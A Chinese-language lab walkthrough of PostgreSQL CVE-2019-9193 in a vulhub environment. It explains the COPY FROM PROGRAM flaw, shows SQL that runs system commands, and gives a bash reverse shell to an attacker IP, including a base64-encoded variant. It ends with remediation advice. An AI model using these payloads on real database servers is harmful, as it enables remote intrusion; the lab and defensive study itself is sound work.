前面讲述了mysql、SqlServer、Redis数据库相关的提权方式，有兴趣的也可以去看看。
这里讲的postgreSQL数据库提权就是任意命令执行漏洞(CVE-2019-9193)。
目录
数据库简介
漏洞原理
影响版本
漏洞利用
利用前提
漏洞复现
复现准备
复现过程
漏洞修复
数据库简介
postgreSQL是一个功能强大对象关系数据库管理系统。
漏洞原理
从9.3版本开始，Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能允许数据库的超级管理员用户以及pg_read_server_files组中的任何用户执行操作系统命令。
影响版本
PostgreSQL 9.3 - 11.2
漏洞利用
利用前提
- 需要登陆
- 需要高权限
这就意味着，需要进行弱口令爆破或者其他方式知道账号密码登录之后，然后查看是否是高权限。
漏洞复现
复现准备
这里使用vulhub靶场复现，vulhub搭建自行搜索。
cd postgres/CVE-2019-9193
docker-compose up -d
docker-compose down -v #关闭靶机
然后需要使用dbeaver连接PostgreSQL（看到很多资料都是使用navicat连接的，但是看了一下navicat是需要购买的（有试用期，网上也有很多破解版）不介意的可以去探索使用navicat，因为navicat确实比dbeaver是更强大的）。
dbeaver安装参考链接：【数据库】DBeaver操作所有数据库管理工具使用详解_dbeaver的使用-CSDN博客
dbeaver是一款数据库连接工具，免费且跨平台。
navicat是非常强大的可视化数据库管理工具，提供图形化界面，提供简便的管理方法。
复现过程
1、使用dbeaver连接PostgreSQL：账号/密码为postgres/postgres。
2、然后右键public，新建查询
3、然后执行以下命令
-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;
-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
-- 执行系统命令利用特定函数，这里输出系统信息
COPY cmd_exec FROM PROGRAM 'id';
-- 查看执行结果
SELECT * FROM cmd_exec;
可以看到成功执行。
4、接下来进一步利用，进行反弹shell。先开启监听nc
5、执行以下反弹shell命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1';
SELECT * FROM cmd_exec;
可以看到这里出现了错误
6、尝试将反弹shell进行base64编码（注意这里不是编码直接放进去，编码后的不能进行执行，要做的是解决数据传输过程中的特殊字符被解析的问题，所以可以写入一条将编码后的解码然后再执行的一条命令）
#编码前
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.75.130/4444 0>&1';
#编码后
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNzUuMTMwLzQ0NDQgMD4mMQo=" | base64 -d | bash';
成功执行。
7、成功反弹shell
漏洞修复
- pg_read_server_files，pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时，应慎重考虑；
- 增强密码的复杂度；
- 进行网络隔离，限制 IP 访问，只允许需要的 IP 连接；
